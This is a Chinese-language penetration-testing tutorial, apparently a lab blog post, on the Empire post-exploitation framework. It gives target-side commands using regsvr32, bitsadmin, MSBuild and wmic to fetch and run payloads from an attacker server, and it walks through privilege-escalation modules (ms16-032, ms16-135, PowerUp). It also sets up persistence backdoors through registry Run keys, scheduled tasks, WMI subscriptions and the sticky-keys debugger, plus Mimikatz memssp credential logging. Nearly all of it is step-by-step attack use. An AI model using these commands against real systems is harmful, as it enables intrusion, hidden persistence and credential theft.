empire(usestager用法、提權、持久化后門)
本章前提:已成功設定監聽器(如何設定監聽器請看day14篇)
1. usestager的幾種用法
windows/launcher_sct:
介紹:Regsvr32命令用于注冊COM組件,是Windows系統提供的用來向系統注冊控制元件或者卸載控制元件的命令,以命令列方式運行,WinXP及以上系統的regsvr32.exe在windows\system32檔案夾下;2000系統的regsvr32.exe在winnt\system32檔案夾下,
用法:regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
1) usestager windows/launcher_sct 進入windows/launcher_sct模塊

2) 設定一下引數
![]()
set Listener kali set OutFile /var/www/html/xx.sct |
3) execute 執行

4) 在靶機上運行 regsvr32 /u /n /s /i:http://192.168.227.129/xx.sct scrobj.dll
![]()

5) 成功回傳會話

windows/launcher_vbs:
遠程下載:bitsadmin /transfer /n http://IP/xx.vbs path
1) usestager windows/launcher_vbs 進入windows/launcher_vbs模塊

2) 設定一下引數
![]()
3) execute 執行

4) 在靶機上運行
bitsadmin /transfer n http://192.168.227.129/xx.vbs C:\Users\xxx\Desktop\xx.vbs
![]()

5) 靶機執行.vbs檔案,成功反彈會話

windows/launcher_xml:
MSBuild是一個免費的開源構建工具集,用于管理本地C++代碼.在Visual Studio2013之前,MSBuild是作為.NET框架的一部分,但是在其之后,MSBuild被系結到了Visual Studio.所以,Visual Studio依賴于MSBuild,但是MSBuild并不依賴于Visual Studio,
用法:利用net4.0之后的版本中的MSBuild運行注入shellcode的xml檔案反彈shell,
1) 跟前面兩個操作一樣生成xml檔案到/var/www/html/檔案夾下

2) 在靶機上下載該檔案

3) 在靶機上cd到C:\Windows\Microsoft.NET\Framework64\v4.0.30319\使用MSBuild運行xml

4) 成功反彈會話

windows/wmic:
WMIC擴展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了從命令列介面和批命令腳本執行系統管理的支持,
用法:wmic os get /format:"http://IP/xx.xsl"
1) 跟前面兩個的操作步驟一樣將生成的xsl存到html檔案夾下

2) 在靶機上執行wmic os get /format:"http://192.168.227.129/xx.xsl"

3) 成功反彈會話

2. empire提權模塊
uac和bypassuac在day14有介紹
本地提權
ms16-135:Win32k 資訊泄漏漏洞
若要利用此漏洞,攻擊者必須登錄到受影響的系統并運行經特殊設計的應用程式,此安全更新 程式通過更正 Windows 內核處理記憶體地址的方式來修復這個漏洞,
searchmodule ms16-135 查找ms16-135模塊

usemodule privesc/ms16-135 使用模塊

設定完引數后執行

成功反彈擁有特權的會話
![]()
ms16-032:輔助登錄特權提升漏洞
如果 Windows 輔助登錄服務未能正確管理記憶體中的請求句柄,Microsoft Windows 中會存在 一個特權提升漏洞, 成功利用此漏洞的攻擊者能夠以管理員身份運行任意代碼,
usemodule privesc/ms16-032 使用模塊

設定完引數執行

成功回傳有系統特權的會話

![]()
powershell/privesc/sherlock 查找Windows本地特權升級漏洞
usemodule privesc/sherlock 使用該模塊

顯示本地特權升級的漏洞

利用powerup進行提權
PowerUp是一個PowerShell工具,可協助Windows系統上的本地特權升級,它包含多種方法來 識別和濫用易受攻擊的服務,以及DLL劫持機會,易受攻擊的注冊表設定和升級機會,它是PowerTools 的一部分,位于https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp,Empire 在privesc / powerup / *模塊中實作了PowerUp的升級功能 ,
usemodule privesc/powerup/allchecks 檢測是否可以利用powerup漏洞

顯示存在漏洞

根據顯示存在的漏洞利用對應模塊

可以看到存在對服務可執行檔案的配置不當權限(可通過service_exe_ *加以利用)
不過這邊我都試過了一遍,不是很好用
3. 持久化后門
PowerBreach
介紹:PowerBreach是一系列記憶體中的PowerShell后門,可為各種選項提供觸發器,
persistence/powerbreach/deaduser –接受用戶名和關于用戶名是否是域名(相對于本地帳戶)的開關/標志,腳本每隔Sleep秒就會檢查帳戶是否仍然存在,如果不存在則觸發登臺邏輯,該后門不需要本地管理員權限,
理解:判斷你設定的用戶名是否存在(有沒有被改名或者洗掉),當被改名的時候會就觸發該腳本反彈shell
usemodule persistence/powerbreach/deaduser 使用模塊

查看所需引數

設定相關引數

執行

把aaa改成了bbb

成功反彈shell

persistence/powerbreach/eventlog - 事件日志–按時間間隔查詢安全事件日志,以查找具有唯一觸發器值的事件,此后門DOES需要管理員權限才能訪問安全事件日志,
usemodule persistence/powerbreach/eventlog* 使用模塊
![]()
查看所需引數

設定相關引數
![]()
執行

打開靶機的eventvwr,當安全日志中存在HACKER(上面引數定義的可以自己更改)關鍵字時

成功反彈會話

由于是管理員權限留下的后門,所以回傳的會話也擁有管理員權限
![]()
persistence/powerbreach /resolver –需要決議的主機名和觸發IP,腳本每隔睡眠秒數檢查一次主機名是否決議為觸發IP,否則將觸發暫存邏輯,該后門不需要本地管理員權限,
usemodule persistence/powerbreach/resolver 使用模塊
![]()
查看所需引數

設定相關引數
![]()
執行

靶機上去訪問一下127.0.0.1,讓他進行決議
![]()
成功反彈shell

Userland
persistence/userland/ * 模塊允許用戶態,從重啟的持久性(即無需管理權限),如果指定了偵聽器,則會自動生成Empire代理的登臺代碼并將其用作觸發的腳本邏輯,
persistence/userland /registry –在HKCU:Software\Microsoft\Windows\CurrentVersion\Run中設定一個值,以在選擇的任何存盤機制下執行腳本,僅當該用戶登錄時,這將導致腳本運行,
usemodule persistence/userland/registry 使用模塊
![]()
查看所需引數

設定相關引數
![]()
執行

將靶機注銷重新登錄,成功回傳shell會話(這里用戶登錄的時候會有短暫的powershell彈框)

persistence/userland/schtask –配置計劃的任務以在選擇任何存盤機制的情況下執行腳本,該腳本可以在DailyTime(HH:mm格式)下觸發,或者在用戶閑置IdleTime秒后觸發
理解:這個是放注冊表中的計劃任務
usemodule persistence/userland/schtasks 使用模塊
![]()
查看所需引數

設定相關引數
![]()
執行

將靶機注銷重新登錄,等設定的時間到,成功回傳shell會話

Elevated
persistence/elevated/*模塊允許重啟的持久性從升高的背景關系(即具有管理特權),如果指定了偵聽器,則會自動生成Empire代理的登臺代碼并將其用作觸發的腳本邏輯,
理解:該模塊是擁有管理員權限留下的擁有權限的后門
persistence/elevated/registry、persistence/elevated/schtask,這兩個用法和之前的一樣,只不過需要管理員權限
persistence/elevated/wmi–配置永久WMI訂閱以激發存盤的腳本邏輯,該腳本可以在DailyTime(HH:mm格式)或使用AtStartup啟動系統時觸發,這具有難以檢測/去除的等級,
理解:這個是放注冊表中的計劃任務
usemodule persistence/elevated/wmi* 使用模塊
![]()
查看所需引數

設定相關引數
![]()
執行

將靶機上驗證wmi,在powershell中直接輸入Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’”

重啟靶機,成功反彈有管理員權限的shell

![]()
misc
persistence/misc/debugger*-在empire3.6.0版本中把persistence / debugger / * 模塊整合到了persistence/misc/debugger*模塊中,您可以為RDP提示符下登錄前可訪問的各種可執行檔案設定“映像檔案執行選項”(又名除錯器),默認情況下,除錯器設定為cmd.exe,它使您可以觸發通過RDP以SYSTEM身份運行的命令提示符,而無需實際登錄計算機,您還可以使用Binary引數指定另一個二進制檔案的路徑,如果要除錯器觸發暫存器,請設定Listener引數,這將為指定的偵聽器生成一個合適的暫存器,并將其存盤到指定的RegPath中,然后,您可以從RDP提示預身份驗證中觸發這些登臺程式,但是請注意,一旦關閉RDP提示(在不活動30秒后發生),登臺的代理將被殺死,
usemodule persistence/misc/debugger* 使用模塊
![]()
查看所需引數

設定引數
![]()
執行

在靶機win7登錄界面按5次shift,有個powershell的框一閃而過

成功回傳會話,并且是管理員權限
![]()
persistence/misc/memssp –安裝Mimikatz的memssp模塊,該模塊應將所有身份驗證事件注銷到C:\ Windows \ System32 \ mimisla.log,應該重新引匯出久,
usemodule persistence/misc/memssp* 使用模塊
![]()
直接運行就可以了

靶機對應目錄生成了mimisla.log檔案

persistence/misc/disable_machine_acct_change –禁止目標更改其計算機帳戶密碼,如果首先運行mimikatz/credentials/logonpasswords來轉儲計算機帳戶密碼(帳戶以$結尾),則您應該具有對給定系統的持久訪問權限,清理選項也可用,
使用該模塊后直接運行就可以了

轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/224475.html
標籤:其他
上一篇:內網滲透 day15-empire(usestager用法、提權、持久化后門)
下一篇:探索JS中的函式秘密
